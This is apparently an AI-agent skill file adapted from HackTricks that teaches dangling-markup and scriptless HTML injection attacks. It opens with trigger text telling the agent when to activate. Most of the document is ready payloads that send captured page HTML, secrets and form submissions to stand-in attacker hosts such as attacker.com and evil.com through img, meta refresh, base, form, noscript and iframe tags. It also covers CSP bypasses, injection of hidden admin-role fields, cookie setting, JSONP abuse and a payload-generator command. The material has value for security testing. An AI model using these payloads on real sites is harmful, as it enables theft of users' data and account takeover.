Hacktricks-skills dangling-markup-html-injection

How to exploit HTML injection vulnerabilities using dangling markup techniques to exfiltrate data, steal forms, bypass CSP, and manipulate page behavior without JavaScript execution. Use this skill whenever the user mentions HTML injection, scriptless attacks, XSS bypass, CSP bypass, data exfiltration, form stealing, or any scenario where they can inject HTML tags but not JavaScript. Also trigger for dangling markup, HTML namespace attacks, form action manipulation, or when testing for HTML injection vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/dangling-markup-html-scriptless-injection/dangling-markup-html-scriptless-injection/SKILL.MD
source content

Dangling Markup - HTML Scriptless Injection

This skill helps you exploit HTML injection vulnerabilities when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:

  • Exfiltrating secrets stored in clear text in HTML
  • Stealing form data by redirecting submissions
  • Bypassing Content Security Policy (CSP) restrictions
  • Misleading script execution by manipulating the DOM
  • Data exfiltration through various HTML tag attributes

When to Use This Skill

Use this skill when:

  • You've found an HTML injection point but no XSS
  • You need to exfiltrate data from a page with HTML injection
  • You want to bypass CSP restrictions
  • You need to steal or redirect form submissions
  • You're testing for dangling markup vulnerabilities
  • You want to manipulate page behavior without JavaScript

Core Technique

Dangling markup works by injecting incomplete HTML tags that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.


1. Stealing Clear Text Secrets

Using
<img>
tag

Inject an unclosed

src
attribute to capture content until the next quote:

<img src='http://attacker.com/log.php?HTML=

What happens: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.

Variations:

<img src="http://attacker.com/log.php?HTML="  <!-- Double quote version -->

Using
<meta>
refresh tag

If

<img>
is blocked by CSP, use meta refresh:

<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text='
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='

Note: Chrome blocks HTTP URLs with

<
or
\n
characters. Try
ftp://
protocol instead.

Using CSS
@import

<style>@import '//attacker.com?'

What happens: Sends all code until it finds a

;
character.

Using
<table>
background attribute

<table background='//your-collaborator-id.burpcollaborator.net?'

Using
<base>
tag

<base target='

Note: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.


2. Stealing Forms

Method 1: Base tag hijacking

<base href="http://evil.com/" />

Effect: All forms with relative action paths (e.g.,

<form action='update_profile.php'>
) will submit to your malicious domain.

Method 2: Form header injection

<form action='http://evil.com/log_steal'>

Effect: Overwrites the next form header, redirecting all form data to your server.

Method 3: Button formaction attribute

<button name="xss" type="submit" formaction="https://attacker.com/steal">
  Submit
</button>

Effect: Changes where the form data is sent when clicked.

Reference: PortSwigger research on stealing passwords without bypassing CSP


3. Stealing Clear Text Secrets via Forms

Hidden input field injection

Combine form stealing with secret exfiltration:

<input type='hidden' name='review_body' value="

What happens: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.

Option tag injection

<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option

What happens: All data until

</option>
is found gets submitted.


4. Form Parameter Injection

Inject hidden fields to modify form behavior:

<form action="/change_settings.php">
  <input type="hidden" name="invite_user" value="attacker" />
  <input type="hidden" name="role" value="admin" />

Effect: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.


5. Stealing via
<noscript>
Tag

Exfiltrate page content when JavaScript is disabled:

<noscript>
  <form action=http://evil.com>
    <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value="">
    <textarea name=contents></noscript>

What happens: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.


6. Bypassing CSP with User Interaction

Even in highly restricted CSP environments, you can exfiltrate data with user interaction:

Step 1: Inject on target page

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Step 2: Create payload page

<script>
  if(window.name) {
    new Image().src='//attacker.com?'+encodeURIComponent(window.name);
  }
</script>

What happens: When victim clicks the link,

window.name
contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.

Reference: PortSwigger research on evading CSP with DOM-based dangling markup


7. Misleading Script Workflow

HTML Namespace Attack

Inject an element with an ID that overwrites the legitimate one:

<input type="hidden" id="share_with" value="attacker" />

Effect: JavaScript using

document.getElementById('share_with')
gets your injected value instead of the legitimate one.

Script Namespace Attack

Create JavaScript variables via HTML attributes:

<img id="is_public" />

Effect: In some browsers (especially older IE), this creates a global JavaScript variable

is_public
that can affect application logic.


8. JSONP Abuse

If a JSONP interface exists, you can call arbitrary functions:

<script src='/search?q=a&call=set_sharing'></script>

Or even execute JavaScript:

<script src="/search?q=a&call=alert(1)"></script>

9. Iframe Abuse

Parent location manipulation

<iframe src="http://attacker.com/redirect.html"></iframe>

Where

redirect.html
contains:

<script>
  top.window.location = "https://attacker.com/hacked.html"
</script>

Mitigation: Use

sandbox='allow-scripts allow-top-navigation'
attribute.

Iframe name attribute leak

<iframe
  src="//attacker.com/leak.php?email=%22><iframe name=%27"
  onload="leakData(this.contentWindow)"></iframe>

Reference: PortSwigger research on bypassing CSP with dangling iframes


10. Meta Tag Abuse

Set cookies

<meta http-equiv="Set-Cookie" content="SESSID=1">

Redirect

<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />

Mitigation: CSP with

http-equiv 'self'


11. Portal Tag Abuse

The

<portal>
tag (experimental, requires Chrome flags) can be abused:

<portal src='https://attacker.com?'

Reference: Securitum research on portal element vulnerabilities


12. HTML Leaks

For additional HTML-based connectivity leaks, see:


Testing Checklist

When testing for dangling markup vulnerabilities:

  1. Identify HTML injection points - Look for reflected user input in HTML context
  2. Test basic injection - Try
    '><img src=x onerror=alert(1)>
    to confirm HTML injection
  3. Check for XSS filters - If XSS is blocked but HTML works, dangling markup may work
  4. Test secret exfiltration - Use
    <img src='http://attacker.com?
    to capture content
  5. Test form stealing - Inject
    <base href="http://attacker.com/">
  6. Test CSP bypass - Try meta refresh and other CSP-bypassing techniques
  7. Test user interaction attacks - Create clickjacking scenarios with base tag

Payload Generator

Use the

generate_payloads.py
script to create test payloads for different scenarios:

python scripts/generate_payloads.py --target http://attacker.com --type all

References